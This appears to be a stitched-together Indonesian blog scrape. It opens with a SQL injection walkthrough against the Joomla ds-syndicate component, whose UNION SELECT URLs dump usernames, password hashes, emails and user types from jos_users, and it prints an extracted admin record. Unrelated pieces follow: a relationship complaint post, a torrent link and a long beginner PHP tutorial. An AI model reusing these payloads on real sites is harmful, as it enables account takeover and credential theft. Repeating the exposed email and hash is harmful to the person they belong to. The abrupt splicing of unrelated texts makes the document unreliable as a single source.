http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+jos_users

jalankan url, download filenya, kemudian buka kembali dengan notepad. Hasilnya adalah username dari database tersebut ...

admin (18)

Atau bisa juga ditampilkan informasi username, password, email, dan user_type sekaligus, gunakan url seperti ini :

http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
concat(username,0x3a,password,0x3a,email,0x3a,usertype),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+jos_users

perhatikan, string username, diganti dengan concat(username,0x3a,password,0x3a,email,0x3a,usertype), penggunaan concat disini adalah mengconvert suatu hexa, ataupun spesial karakter kedalam bentuk ascii, sehingga, yang terjadi nantinya adalah :

0x3a berubah menjadi titik dua ( : ), buka kembali file hasil dari url di atas
Yang penulis dapatkan adalah informasi seperti ini :


admin:bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK:alkemail@gmail.com:Super Administrator

Jika di urutkan :
Username : admin
Password ( hash ) : bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK
Email : alkemail@gmail.com
User type : Super Administrator

Yang di lakukan selanjutnya adalah mencoba crack password, karena itu masih dalam bentuk hash, dengan kata lain password yang masih terenkripsi. :D. Yups, pengambilan username dan password secara paksa telah terjadi, si attacker kembali mencari cara bagaimana mendapatkan password yang asli, dengan cara mengcrack password hash tersebut.

Inilah bukti begitu mudahnya suatu web diambil alih oleh attacker, akibat dari seorang admin yang malas melakukan patch pada systemnya.

Di artikel selanjutnya penulis akan menjalankan konsep sederhana password crack untuk joomla menggunakan php. Tunggu kelanjutannya ... :D.

Untuk keperluan eksperimen, silahkan download filenya di sini.
http://joomlacode.org/gf/download/frsrelease/6828/22538/Joomla_1.0.15-Stable-Full_Package.zip
http://www.unair.info/ilmuwebsite/hack/joomla/com_ds-syndicate.tar.gz

http://www.faqintosh.com/risorse/en/othutil/webapps/rot13/

Archon Script Kiddies: Curhat

curhat ku ternyata di balas....

ini jawaban dari seorang cewe

1. kami emang bukan pengen cowok kami kayak dedy cobuzier. yang kami pengen kamu tunjukin perhatian, usap kepala kami, tanya "ada apa?" dengan lembut, senyum. kalo bisa juga, peluk. kalo kamu emang lelakiku, berilah aku kenyamanan. hanya itu yang kami mau.

2. jangan berlebihan. "seharian" itu berapa lama? 24 jam? 12 jam? kami juga ga bisa jalan di mall selama itu. kami hanya mau menghabiskan waktu kami dengan kamu. sedikit waktumu, tepatnya. kalaupun kamu engga kangen, kami iya. soalnya, 6 hari sebelumnya kamu sibuk kerja. dan jangan berlebihan, kerja yang 6 hari itu sudah bisa dihilangkan lelahnya dengan istirahat malam. maka berbaik hatilah pada kami dengan memberi sedikit waktumu untuk kami, pada hari yang satu2nya bisa kami minta tanpa mengganggu kerjamu.

3. itu memang karena kamu malas jalan atau sudah kebanyakan uang? kalau kami boros, yang paling cepat ribut adalah para suami2 kami, bukan? dan lagi, cukup bilang "sayang, baju itu bagus, cocok untukmu. beli saja, karena harganya di tempat lain tidak akan terlalu beda jauh." kami pasti langsung mengangguk dan membelinya saat itu juga.

4. kamu lebih suka dengar suara bom, petir, dan guntur daripada mendengar kami nangis? yakin? pikirkan lagi pernyataanmu itu. menangis itu pemerasan? tolong jangan jahat begitu. kami menangis saat kami tidak tahu harus bagaimana lagi. jangan bilang kalian para lelaki selalu tahu apa yang harus dilakukan. kayak komputer, ada kalanya kalian blank atau crash kan? kami juga. sekali lagi kami kasih tau, senyummu dan pelukanmu bisa menyelesaikan tangisan itu.

5. apa kamu yakin dengan kami ngomong langsung kamu bisa mengerti? apa kamu yakin semuanya akan baik2 saja. kami ngomong halus pun kamu bisa tersakiti dan marah, kan?

6. tanyakan pada dirimu sendiri, apakah kamu selalu menjawab ya/tidak untuk semua pertanyaan "ya dan tidak"? kadang kamu bingung dan berputar dulu kan? kadang kamu mau menjelaskan dengan benar, kan? bahkan kadang kamu diam ngga jawab kan?

7. kami hanya boleh bicara sama kamu kalau ada masalah yang pengen diselesaikan ya? ga boleh bicara kalau ngga ada masalah? ngga boleh bicara kalau cuman pengen cerita? kenapa jahat begitu. kami pacaran sama kamu. bukan dengan teman2 cewek kami.

8. kenapa kamu engga men-start mobil atau motormu dan membawa kami ke dokter kepercayaanmu untuk memeriksakan sakit kepala kami?

9. kamu berjanji lalu kamu bilang itu klise? itu cara laki2 ya? kalau engga pengen kami ingat, jangan bilang sama kami! jangan berjanji! dan jangan menyalahkan kami karena mempercayaimu!

10. bilang juga dengan jelas, bagaimana kami harus berpakaian. bagaimana kamu ingin kami berpakaian?

11. itu karena kami engga peduli apa kata cermin. kami peduli apa katamu. karena kamu cowokku.

12. kami mengganggapmu hebat. bisa melakukan segala2nya. kalau kamu menolak atau engga bisa, tolong bilang langsung. terus terang. kami pasti ngerti.

13. maaf kalau kami begitu mengganggu egomu.

14. kalau engga diingatkan, kamu suka keasikan ngegame, nonton bola, ngikil, sampe lupa makan. maafkan kami kalau peduli kamu.

15. gatelnya di belakang. tanganku ngga sampe. tapi maaf kalau permintaan kami benar2 merepotkanmu.

16. kamu sampe nulis curhatan ini juga gara2 kamu engga ngomong langsung kan?

17. yang kami inginkan hanyalah terlihat bagus supaya pantas jalan denganmu. dan sekali lagi, tinggal bilang "kamu pantes kok pake itu. cantik", kami pasti langsung memakainya.

18. maka ceritalah. kami ngga ahli, tapi kami bisa diajak diskusi tentang bola, game, billyard, memancing atau mungkin juga ttg teknik mereparasi mobil. ceritakan kenapa itu menarik, kenapa kamu suka, dsb. ngga susah kok.

19. logika? kalau sejak awal semua sudah pakai logika, hati, dan perasaan, kita ngga perlu berdebat, bukan?

20. aku membacanya. lalu mau kamu apakan seutas tali itu? lakukan apa yang mau kamu lakukan.


bingung maw bales apa lagie...

http://btjunkie.org/torrent/VTC-Ethical-Hacking-Penetration/4032644a66459295d6adefb1254caa3afb512c283405

Tes Script PHP
--------------

PHP sendiri merupakan singkatan dari Personal Home Page tools. Skrip ini akan membuat suatu aplikasi dapat diintegrasikan ke dalam HTML, sehingga suatu halaman web tidak lagi bersifat statis, namun menjadi bersifat dinamis. Sifat server-side berarti pengerjaan skrip akan dilakukan di server, baru kemudian hasilnya dikirimkan ke browser. Keunggulannya dari sifatnya yang server-side tersebut antara lain:

• Tidak diperlukan kompatibilitas browser atau harus menggunakan browser tertentu, karena serverlah yang akan mengerjakan skrip PHP. Hasil yang dikirimkan kembali ke browser umumnya bersifat teks atau gambar saja, sehingga pasti dikenal oleh browser apapun.

• Dapat memanfaatkan sumber-sumber aplikasi yang dimiliki oleh server, misalnya koneksi ke database.

• Skrip tidak dapat “diintip” dengan menggunakan fasilitas view HTML source.

Sebagai contoh, perhatikan skrip PHP sederhana berikut ini:

.

Contoh Skrip PHP

Echo “

Hallo, saya skrip PHP

”;
?>



Setelah skrip ini dikerjakan di server, server akan memberikan output kepada browser sebagai berikut:



Contoh Skrip PHP

Hallo, saya skrip PHP





Output inilah yang dieksekusi oleh browser. Dengan output yang berupa tag-tag HTML biasa, maka output tersebut pasti dapat dieksekusi oleh browser apapun.

Jika dibandingkan dengan skrip yang bersifat client-side, misalnya VBScript atau JavaScript, maka nampak nyata sifat browser independent tersebut. Perhatikan contoh berikut:



Contoh JavaScript





Jika skrip tersebut di atas dijalankan pada browser yang tidak mendukung JavaScript, maka browser tidak akan memberikan hasil apapun atau malah memunculkan teks yang diapit oleh tag

4. Dapat juga menggunakan delimiter ASP:

<% skrip PHP %>

Baris-baris pada skrip PHP dipisahkan dengan cara yang sama dengan C atau Perl, yaitu dengan menambahkan karakter titik koma (;). Contoh:

Skrip php;
Skrip php;
?>

Jika terdapat skrip yang hanya terdiri dari satu baris, ada dua gaya penulisan yang dapat digunakan:

Skrip php;
?>

Atau:



Jika digunakan gaya penulisan yang kedua, tanda titik koma tidak perlu digunakan, karena tag penutup ?> sudah menandakan akhir dari skrip tersebut.
Untuk menambahkan komentar dalam skrip PHP dapat digunakan gaya C, C++, atau shell UNIX. Contoh:

skrip php; // Komentar satu baris gaya C++
/* Komentar yang panjangnya
lebih dari satu baris */
skrip php;
skrip php; # Komentar gaya shell UNIX
?>

Waktu PHP
-----------



print ("Hello,
\n");
print ("Hari ini adalah: ");
print (date("l"));
print (", tanggal ");
print (date("d-F-Y"));
print ("
\n");
print ("dan sekarang jam: ");
print (date("h:i A"));
?>



Skrip dasar PHP

Sebagai awal dari rangkaian pelajaran PHP ini, terlebih dahulu kita akan belajar fungsi-fungsi dasar PHP yang nantinya bakal sering digunakan dalam pemrograman dengan PHP.
Salah satu fungsi yang paling mendasar dari PHP adalah fungsi echo(). Fungsi echo() digunakan untuk menampilkan string yang nantinya akan diterjemahkan oleh browser, entah string tersebut berupa teks ataupun tag HTML. Sintaks dari fungsi echo() adalah sebagai berikut:

echo(string)
echo string

Contoh skrip sederhana menggunakan fungsi echo() adalah sebagai berikut:



Fungsi echo()



echo(“”);
echo “Hallo, ini adalah output dari fungsi echo()”;
echo “
”;
?>



Simpanlah skrip tersebut dengan nama fgs_echo.php. Jika dijalankan pada browser hasilnya akan nampak seperti pada gambar 1.
Jika Anda lihat source code HTML dari skrip tersebut akan tertulis demikian:



Fungsi echo()



Hallo, ini adalah output dari fungsi echo()



Penggunaan fungsi echo() ini terkait erat dengan penggunaan variabel dengan tipe data string. Strings merupakan tipe data berupa karakter. Semua karakter dapat dimasukkan ke dalam tipe strings, termasuk angka, huruf, maupun karakter-karakter khusus seperti +, -, %, $, &, dan lain-lain. Sedangkan sebuah variabel ditandai dengan tanda $ di depannya. Jadi $var1 adalah sebuah variabel dengan nama “var1”.
Untuk memasukkan string ke dalam sebuah variabel, harus digunakan karakter-karakter sebagai berikut: tanda kutip ganda (“), tanda kutip tunggal (‘), atau tanda lebih kecil yang dituliskan sebanyak tiga kali (<<<).
Perbedaan penggunaan dari ketiga karakter tersebut adalah sebagai berikut:
Jika digunakan tanda kutip ganda (“), maka variabel yang terletak di dalam string tersebut akan dinyatakan sebagai nilainya, bukan nama variabelnya. Contoh:

$nama = “Petruk”;
Echo “Namaku adalah $nama”;

Hasil dari contoh tersebut adalah “Namaku adalah Petruk”.
Untuk menyatakan karakter-karakter tertentu di dalam sebuah string, seperti misalnya tanda kutip ganda, tanda ampersand (&), tanda dollar ($), dan lain-lain digunakan karakter backslash (\). Karakter seperti ini disebut dengan Escaped Character. Di bawah ini akan diberikan beberapa contoh escaped character:


Escaped character Arti
\n Linefeed
\r Carriage return
\t Tab
\$ $
\” “
\\ \
\& &

Contoh penggunaan escaped character:

Echo “Dia berkata, \”Apa kabar?\””;
Hasilnya adalah: Dia berkata, “Apa kabar?”;

Jika digunakan tanda kutip tunggal, maka semua string akan nampak seperti apa adanya yang tertulis di dalam tanda kutip tunggal tersebut. Variabel akan tetap dinyatakan sebagai nama variabelnya, dan escaped character yang dikenal hanyalah \\ dan \’. Contoh:

$nama = “Petruk”;
Echo ‘Namaku adalah $nama’;

Hasil contoh di atas bukanlah “Namaku adalah Petruk”, tetapi “Namaku adalah $nama”.
Yang terakhir adalah tanda lebih kecil yang dituliskan sebanyak tiga kali (<<<). Tanda ini disebut dengan here doc syntax. Here doc syntax sangat berguna untuk menuliskan string yang panjang, karena dapat dipisahkan dalam beberapa baris tapi hasil yang ditampilkan tetap dalam satu baris. Variabel akan dinyatakan sebagai isinya. Penggunaan here doc syntax diikuti dengan semacam penanda yang dituliskan pada awal dan akhir string. Contoh:

$nama1 = “Petruk”;
$nama2 = “Bagong”;
$nama3 = “Gareng”;
Echo <<Jika namaku adalah $nama1
maka namamu adalah $nama2
dan namanya adalah $nama3
tanda;

Perhatikan bahwa string yang terletak di dalam here doc syntax tidak perlu menggunakan tanda ; pada akhir baris. Untuk lebih memahami penggunaan ketiga macam penggunaan string di atas, akan diberikan contoh dalam skrip PHP sebagai berikut:



Contoh Skrip PHP

$nama1 = "Petruk";
$nama2 = "Bagong";
$nama3 = "Gareng";
echo "Namaku adalah $nama1
";
echo 'Namanya adalah $nama2';
echo "
Dia berkata, \"Apa kabar?\"
";
echo <<Jika namaku adalah $nama1
maka namamu adalah $nama2
dan namanya adalah $nama3
tanda;
?>



Simpanlah skrip tersebut dengan nama string.php. Jika dijalankan pada browser, hasilnya adalah seperti gambar 2 berikut.
Sekali lagi sebagai pembanding akan diberikan source code HTML yang dihasilkan oleh skrip tersebut.



Contoh Skrip PHP

Namaku adalah Petruk

Namanya adalah $nama2

Dia berkata, "Apa kabar?"

Jika namaku adalah Petruk maka namamu adalah Bagong dan namanya adalah Gareng



Struktur Kontrol If

Sudah mulai terbiasa dengan PHP? OK, kali ini kita belajar lebih dalam lagi. Struktur kontrol If ini memiliki beberapa variasi, yaitu:

If
If ... Else
If ... ElseIf ... Else

Kita mulai dari yang paling sederhana, yaitu If.
Struktur kontrol If digunakan untuk mengambil keputusan apabila hanya ada sebuah kondisi yang memerlukan pengambilan keputusan. Jika kondisi tersebut bernilai true, maka skrip program yang terletak di dalam blok if akan dieksekusi, sedangkan jika false, maka blok program tersebut akan dilewati. Sintaks dari struktur kontrol If adalah sebagai berikut:

If (kondisi)
pernyataan;

atau

If (kondisi) {
pernyataan;
pernyataan;
}

Sebagai contoh penggunaan struktur kontrol If ini akan diberikan sebuah skrip yang sederhana sebagai berikut:



Struktur IF



$tes = true;
echo("Nilai \$tes = $tes");
echo("
");
if ($tes == true) {
echo('Teks ini muncul karena nilai $tes = true');
}
?>



Simpan dengan nama if.php. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 1. Jika nilai $tes Anda ganti dengan false, maka yang muncul pada browser hanyalah tulisan “Nilai $tes =”. Mengapa demikian? Skrip PHP menggantikan nilai true dengan 1 dan false dengan 0 atau tidak ada nilai sama sekali.
Perhatikan baik-baik fungsi echo() yang muncul pada skrip tersebut. Ada tiga fungsi echo() yang muncul, dua yang pertama menggunakan tanda petik ganda dan yang terakhir menggunakan tanda petik tunggal. Anda bisa perhatikan perbedaan yang terjadi pada hasil yang muncul di browser.
Perhatikan juga tanda sama dengan pada pernyataan if ($tes == true) ada dua! Hal ini berbeda dengan pernyataan pada bagian awal skrip yaitu $tes = true. Pernyataan $tes = true adalah pemberian nilai variabel, sehingga tanda sama dengannya hanyalah satu. Tapi pada pernyataan if ($tes == true) sifatnya adalah membandingkan apakah nilai $tes adalah true, sehingga tanda sama dengannya ada dua. Jangan sampai Anda lupa pada aturan ini, karena PHP mendukung pemberian nilai variabel langsung pada sebuah pernyataan. Jadi jika Anda menuliskan if ($tes = true) – hanya dengan satu tanda sama dengan – itu sama artinya dengan memberi nilai $tes dengan true. Akibatnya struktur kontrol if tersebut akan selalu bernilai true sehingga jalannya skrip secara keseluruhan akan salah.
Bentuk kedua dari struktur kontrol if adalah if ... else. Sintaks dari struktur kontrol ini adalah sebagai berikut:

If (kondisi) {
pernyataan1;
} else {
pernyataan2;
}

Penggunaan struktur if ... else mirip dengan penggunaan struktur if, namun memiliki kelebihan yaitu alternatif tindakan apabila kondisi yang dihadapi tidak sesuai. Sebagai contoh akan diberikan penggunaan skrip PHP untuk menentukan apakah sebuah bilangan bersifat genap atau ganjil.



Struktur IF ... ELSE



$bilangan = 5;
$tes = $bilangan % 2;
if ($tes == 1) {
echo("Bilangan $bilangan adalah ganjil");
} else {
echo("Bilangan $bilangan adalah genap");
}
?>



Simpan skrip tersebut dengan nama ifelse.php. Jika dijalankan pada browser hasilnya adalah seperti pada gambar 2.
Pada skrip tersebut terdapat operator dengan karakter persen (%) yang berarti adalah modulus. Modulus adalah proses pembagian dua bilangan dengan mengambil sisa pembagian sebagai hasilnya. Jadi jika ada persamaan y = 10 % 3, berarti nilai y adalah 1 karena 10 dibagi 3 menghasilkan 3 dengan sisa pembagian 1. Dalam skrip di atas penentuan apakah sebuah bilangan merupakan bilangan ganjil atau genap adalah dengan membaginya dengan dua. Jika sisa pembagian adalah 1 maka bilangan tersebut adalah bilangan ganjil. Jika tidak – artinya sisa pembagian adalah 0 – maka bilangan tersebut adalah bilangan genap.
Bentuk ketiga dari struktur kontrol if adalah if ... elseIf ... else. Struktur ini juga hampir sama dengan kedua struktur di atas, hanya saja memberikan lebih banyak kemungkinan kondisi dan keputusan yang diambil. Sintaksnya adalah sebagai berikut:

If (kondisi1) {
Pernyataan1;
} Elseif (kondisi2) {
Pernyataan2;
. . .
} Elseif (kondisiN) {
PernyataanN;
} else {
pernyataan;
}

Contoh penggunaan If…ElseIf…Else adalah sebagai berikut:



ELSE IF



$a = 5;
$b = 7;
echo("\$a = $a
");
echo("\$b = $b
");
if ($a < $b) {
echo('$a lebih kecil daripada $b');
} elseif ($a == $b) {
echo('$a sama dengan $b');
} else {
echo('$a lebih besar daripada $b');
}
?>



Simpanlah skrip tersebut dengan nama elseif.php. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 3.
Pada contoh di atas dibandingkan dua buah bilangan yaitu a dan b. Proses pembandingan tersebut akan memberikan 3 kemungkinan, yaitu a lebih kecil daripada b, a sama dengan b, dan a lebih besar daripada b.
Struktur kontrol if juga mengenal bentuk alternatif. Bentuk alternatif tersebut adalah dengan mengganti tanda kurung kurawal ({}) dengan tanda titik dua (:) dan di akhir blok ditutup dengan endif. Jadi contoh ketiga di atas dapat dituliskan dengan bentuk sebagai berikut:



ELSE IF



$a = 5;
$b = 7;
echo("\$a = $a
");
echo("\$b = $b
");
if ($a < $b) :
echo('$a lebih kecil daripada $b');
elseif ($a == $b) :
echo('$a sama dengan $b');
else:
echo('$a lebih besar daripada $b');
endif;
?>



Struktur Kontrol While dan Do ... While

struktur kontrol yang diberikan adalah struktur kontrol yang bersifat mengambil suatu keputusan apabila alur program dihadang oleh suatu kondisi tertentu yang mengharuskan alur program untuk memilih cabang mana yang akan diambil.
Jenis struktur kontrol lain yang dimiliki oleh PHP adalah struktur kontrol yang digunakan untuk looping atau pengulangan.
Struktur kontrol berikutnya yang akan diterangkan adalah While dan Do ... While. Kedua struktur kontrol ini memiliki kesamaan yaitu mengulang-ulang suatu blok pernyataan selama suatu kondisi bernilai true. Yang menjadikan perbedaan di antara kedua pernyataan tersebut adalah cara mengevaluasi kondisi yang diberikan. Struktur kontrol While akan mengevaluasi kondisi pada awal suatu pengulangan sedangkan Do ... While akan mengevaluasi kondisi pada akhir suatu pengulangan.
Kita mulai dulu dengan While. Sintaks penggunaan struktur kontrol While adalah sebagai berikut:

While (kondisi) {
Blok Pernyataan;
}

Dalam menerangkan penggunaan struktur while ini, PCplus juga akan menerangkan mengenai penggunaan operator inkremen/dekremen, sebab struktur while ini berkaitan cukup erat dengan operator inkremen/dekremen. Operator inkremen/dekremen berfungsi untuk menambah atau mengurangi nilai variabel dengan satu. Operator inkremen dituliskan dengan menambahkan tanda tambah (+) sebanyak dua buah disamping kiri atau kanan variabel, sedangkan operator dekremen dituliskan dengan menambahkan tanda kurang (-) sebanyak dua buah disamping kiri atau kanan variabel. Contoh:

$a++
++$a
$a--
--$a

Operator inkremen/dekremen sebenarnya merupakan penyederhanaan dari persamaan berikut:

$a = $a + 1 atau $a += 1
$a = $a – 1 atau $a -= 1

Jika operator dituliskan di sebelah kiri variabel, maka disebut preinkremen/predekremen, sedangkan jika dituliskan di sebelah kanan variabel akan disebut postinkremen/postdekremen.
Perbedaan antara postinkremen dengan preinkremen adalah sebagai berikut:
Jika digunakan postinkremen, maka nilai variabel tepat pada saat ekspresi tersebut dinyatakan masih tetap nilai yang sama, baru kemudian pada langkah berikutnya ditambah dengan satu. Jika digunakan preinkremen, maka nilai variabel langsung bertambah satu pada saat ekspresi tersebut dinyatakan. Untuk postdekremen dengan predekremen berlaku hal yang sama. Untuk mempermudah pemahaman tentang operator ini akan diberikan contoh sebagai berikut:



Operator Inkremen/Dekremen


echo "

PostIncrement

";
$a = 5;
echo "Masih 5 -> " . $a++ . "
";
echo "Baru menjadi 6 -> " . $a . "
";
echo "

PreIncrement

";
$a = 5;
echo "Telah menjadi 6 -> " . ++$a . "
";
echo "Tetap 6 -> " . $a . "
";
echo "

PostDecrement

";
$a = 5;
echo "Masih 5 -> " . $a-- . "
";
echo "Baru menjadi 4 -> " . $a . "
";
echo "

PreDecrement

";
$a = 5;
echo "Telah menjadi 4 -> " . --$a . "
";
echo "Tetap 4 -> " . $a . "
";
?>



Jika skrip dijalankan pada browser hasilnya akan nampak seperti pada gambar 1. Perhatikan baik-baik urutan skrip dengan hasil yang nampak pada browser.
Nah, jika Anda telah memahami tentang inkremen/dekremen, sekarang akan diberikan contoh penggunaan while.



While




Cara 1



$i = 1;
while ($i <= 10) {
print $i++;
}
Hasilnya adalah :


$i = 1;
while ($i <= 10) {
print $i++;
}
?>

Cara 2



$i = 1;
while ($i <= 10) {
print $i;
$i++
}
Hasilnya adalah :


$i = 1;
while ($i <= 10) {
print $i;
$i++;
}
?>



Jika skrip di atas dijalankan pada sebuah browser, hasilnya akan nampak seperti pada gambar 2.
Untuk struktur Do ... While sintaksnya adalah sebagai berikut:

Do {
Blok Pernyataan;
} while kondisi;

Karena evaluasi kondisi baru dilakukan pada akhir blok pernyataan, maka skrip yang terdapat pada blok pernyataan pasti akan dieksekusi terlebih dahulu paling tidak sekali. Baru setelah itu kondisi diperiksa. Jika kondisi memenuhi baru blok pernyataan akan diulang lagi, jika tidak maka pengulangan akan langsung dihentikan. Berikut akan diberikan contoh penggunaan Do ... While dengan kondisi yang sebenarnya tidak memenuhi.



Do While



$i = 5;
do {
echo "\$i = $i
";
$i++;
}
while ($i < 5);
?>



Jika skrip tersebut dijalankan, hasilnya terlihat pada gambar 3.
Perhatikan hasil yang tampak di browser. Sekalipun kondisi yang diberikan adalah untuk $i < 5, akan tetapi nilai $i = 5 akan tetap muncul di browser karena evaluasi dilakukan pada akhir blok sedangkan blok pernyataan sudah "terlanjur" dieksekusi sekali.
Oleh sebab itu perhatikan baik-baik dalam memilih antara struktur While dengan struktur Do ...

Fungsi-Fungsi PHP

Fungsi merupakan alat bantu pemrograman yang memberikan kemudahan dalam melakukan suatu tugas tertentu. Isi dari sebuah fungsi sebenarnya adalah rangkaian dari perintah-perintah pemrograman, entah panjang atau pendek, yang dirangkai sedemikian rupa sehingga menjadi 1 perintah saja. Ada begitu banyak fungsi yang disediakan oleh PHP. Selain itu PHP juga menyediakan fitur untuk membuat fungsi sendiri (seringkali disebut dengan UDF atau User Defined Function). Namun karena begitu banyaknya fungsi yang disediakan oleh PHP, Fungsi-fungsi yang spesifik untuk kasus tertentu mungkin tidak akan dibahas atau mungkin juga akan dibahas dalam artikel lain yang berisi tentang kasus spesifik tadi. Jika Anda ingin mempelajari fungsi-fungsi PHP secara lengkap, Anda dapat mendownload dokumentasinya di www.php.net.
Kita akan mulai bahasan kita dari fungsi tanggal dan waktu. Fungsi tanggal dan waktu – sesuai dengan namanya – digunakan untuk pengolahan tanggal dan waktu. Beberapa fungsi yang akan dibahas adalah fungsi checkdate(), fungsi date(), dan fungsi getdate().

Fungsi checkdate()

Fungsi checkdate() digunakan untuk memeriksa keabsahan suatu bentuk tanggal gregorian, atau bentuk tanggal internasional yang kita anut sekarang. Sintaksnya adalah sebagai berikut:

checkdate(bulan, hari, tahun)

Bulan adalah angka integer 1 sampai dengan 12 yang mewakili bulan Januari sampai dengan Desember.
Hari adalah angka integer yang menunjukkan hari dalam 1 bulan. Angka yang valid adalah 1 hingga 30 atau 31 (untuk bulan Februari 1 hingga 28 atau 29).
Tahun adalah angka integer yang menunjukkan tahun. Angka yang valid adalah 1 hingga 32767.

Contoh penggunaannya dalam skrip PHP adalah sebagai berikut:



Fungsi CheckDate



Apakah tanggal 5 Maret 2003 valid?

$tes = checkdate(3,5,2003);
if ($tes==true) {
echo "Ya, tanggal tersebut valid";
} else {
echo "Tidak, tanggal tersebut tidak valid";
}
?>




Apakah tanggal 29 Februari 2003 valid?

$tes = checkdate(2,29,2003);
if ($tes==true) {
echo "Ya, tanggal tersebut valid";
} else {
echo "Tidak, tanggal tersebut tidak valid";
}
?>



Hasil eksekusinya dapat dilihat pada gambar 1.

Fungsi date()

Fungsi date digunakan untuk menampilkan tanggal dan/atau waktu sekarang. Sintaks penggunaannya adalah sebagai berikut:

date(format[,timestamp])

Format adalah karakter-karakter yang digunakan untuk memformat tampilan tanggal dan/atau waktu.
Timestamp adalah waktu yang diukur dari jumlah detik sejak waktu UNIX Epoch, yaitu 1 Januari 1970, 00:00:00 GMT. Maksudnya adalah jika angka timestamp dituliskan 10 itu berarti tanggal yang dimaksud adalah 1 January 1970, 00:00:10 GMT. Waktu ini akan menyesuaikan dengan waktu lokal, jadi jika waktu lokal Indonesia adalah GMT +7, maka jika angka timestamp dituliskan 10 itu berarti tanggal yang dimaksud adalah 1 January 1970, 07:00:10. Jika timestamp tidak disebutkan, maka yang diambil adalah waktu lokal pada saat itu.
Karakter-karakter yang digunakan untuk format adalah:


Karakter Arti
a "am" atau "pm"
A "AM" atau "PM"
B Swatch Internet time
d Hari dalam satu bulan, 2 digit dengan diawali nol, dari "01" sampai "31"
D Hari dalam satu minggu, tekstual, 3 huruf; misal "Fri", “Sun”
F Bulan, tekstual, lengkap, misalnya “March”, “May”
g Jam, format 12 jam tanpa diawal nol, dari "1" sampai "12"
G Jam, format 24 jam tanpa diawal nol, dari "1" sampai "23"
h Jam, format 12 jam, dari "01" sampai "12"
H Jam, format 24 jam, dari "00" sampai "23"
i Menit, dari "00" sampai "59"
I "1" jika Daylight Savings Time, "0" jika tidak.
j Hari dalam satu bulan, tanpa diawali nol, dari "1" to "31"
l Hari dalam satu minggu, tekstual, lengkap, misalnya "Friday", “Monday”.
L Bernilai "1" untuk tahun kabisat, “0” untuk bukan.
m Bulan dalam angka "01" sampai "12"
M Bulan, tekstual, 3 huruf, misal "Jan", “Mar”
n Bulan dalam angka tanpa diawali nol, dari "1" sampai "12"
r Format tanggal RFC 822, misalnya "Thu, 21 Dec 2000 16:01:07 +0200"
s Detik, dari "00" sampai "59"
S Akhiran yang menunjukkan angka dalam Bahasa Inggris, tekstual, 2 huruf, misalnya "th", "nd"
t Jumlah hari dalam satu bulan, dari "28" sampai "31"
T Setting zona waktu pada komputer, misal "MDT"
U Jumlah detik sejak Unix Epoch.
w Hari dalam angka untuk satu minggu, "0" untuk Minggu sampai "6" Sabtu.
Y Tahun, 4 digit, misal "2001"
y Tahun, 2 digit, misal "99"
z Hari dalam angka untuk satu tahun; dari "0" sampai "365"
Z Setting zona waktu dalam detik, dari "-43200" sampai "43200". Sebelah barat UTC bernilai negatif, dan sebelah timur UTC bernilai positif.

Contoh penggunaannya adalah sebagai berikut:



Date




echo "Sekarang adalah tanggal ";
echo date('d-F-Y');
echo "
dan jam ";
echo date('h:i:s A');
?>




Hasilnya nampak seperti gambar 2.

Fungsi getdate()

Fungsi getdate() digunakan untuk mengambil nilai waktu lokal sekarang atau waktu timestamp dan waktu memasukkannya ke dalam array asosiatif. Sintaksnya adalah sebagai berikut:

getdate([timestamp])

Elemen array yang dapat dipergunakan adalah sebagai berikut:

· "minutes" = menit
· "seconds" = detik
· "mday" = hari dalam satu bulan
· "hours" = jam, dalam format 24 jam.
· "wday" = hari dalam satu minggu, numeris, 0 untuk minggu hingga 6 untuk sabtu
· "mon" = bulan, numeris.
· "year" = tahun, numeris.
· "yday" = hari dalam satu tahun, misalnya "299"
· "weekday" = hari dalam satu minggu, tekstual penuh, misalnya "Friday"
· “month" = bulan, tekstual penuh, misalnya "January"

Sebagai contoh misalnya ingin dibuat halaman selamat datang yang akan menyapa pengunjung dengan salam Selamat Pagi/Siang/Sore/Malam sesuai dengan waktu saat itu. Skripnya adalah sebagai berikut:



Getdate





$skr = getdate();
$bulan = $skr['month'];
$hari = $skr['mday'];
$tahun = $skr['year'];
$jam = $skr['hours'];
if ($jam <= 11) {
echo "Selamat Pagi";
} elseif ($jam > 11 and $jam <= 15) {
echo "Selamat Siang";
} elseif ($jam > 15 and $jam <= 18) {
echo "Selamat Sore";
} elseif ($jam > 18) {
echo "Selamat Malam";
}
?>


Selamat datang di situs kami


Sekarang adalah tanggal
echo "$hari $bulan $tahun";
?>





Fungsi-fungsi String di PHP
(Sumber: Aplikasi Web Database Dengan PHP dan MySQL, karya Yahya Kurniawan, S.T., penerbit Elex Media Komputindo).

Giliran berikut dari rangkaian fungsi yang kita bahas adalah fungsi-fungsi String, yang digunakan untuk mengolah tipe data string atau memberikan tampilan dengan format tertentu. Beberapa fungsi-fungsi string yang akan kita bahas adalah:

Fungsi Echo() Dan Print()
Fungsi ini merupakan fungsi yang sangat sering dijumpai dalam PHP, karena fungsi ini digunakan untuk menampilkan suatu string atau teks ke browser. Sintaksnya adalah sebagai berikut:

Echo(string)
Print(string)

Tentunya Anda sudah tidak asing lagi mengenai penggunaan fungsi-fungsi tersebut, karena pada artikel-artikel sebelumnya sudah sangat sering digunakan sebagai contoh.

Fungsi Printf() dan Sprint()
Kedua fungsi ini digunakan untuk menampilkan output ke browser dengan format tertentu. Sintaksnya adalah sebagai berikut:

Printf(format[,argumen])
Sprintf(format[,argumen])

Parameter format selalu ditandai dengan karakter persen (%), kemudian diikuti oleh karakter tertentu yang memberikan spesifikasi untuk memberikan hasil dengan format tertentu. Karakter pemberi spesifikasi tersebut adalah:


Karakter Keterangan
b Argumen diperlakukan sebagai integer, dan ditampilkan sebagai angka biner.
c Argumen diperlakukan sebagai integer, dan ditampilkan sebagai karakter dengan nilai ASCIInya.
d Argumen diperlakukan sebagai integer, dan ditampilkan sebagai angka desimal.
f Argumen diperlakukan sebagai double, dan ditampilkan sebagai angka floating point.
o Argumen diperlakukan sebagai integer, dan ditampilkan sebagai bilangan oktal.
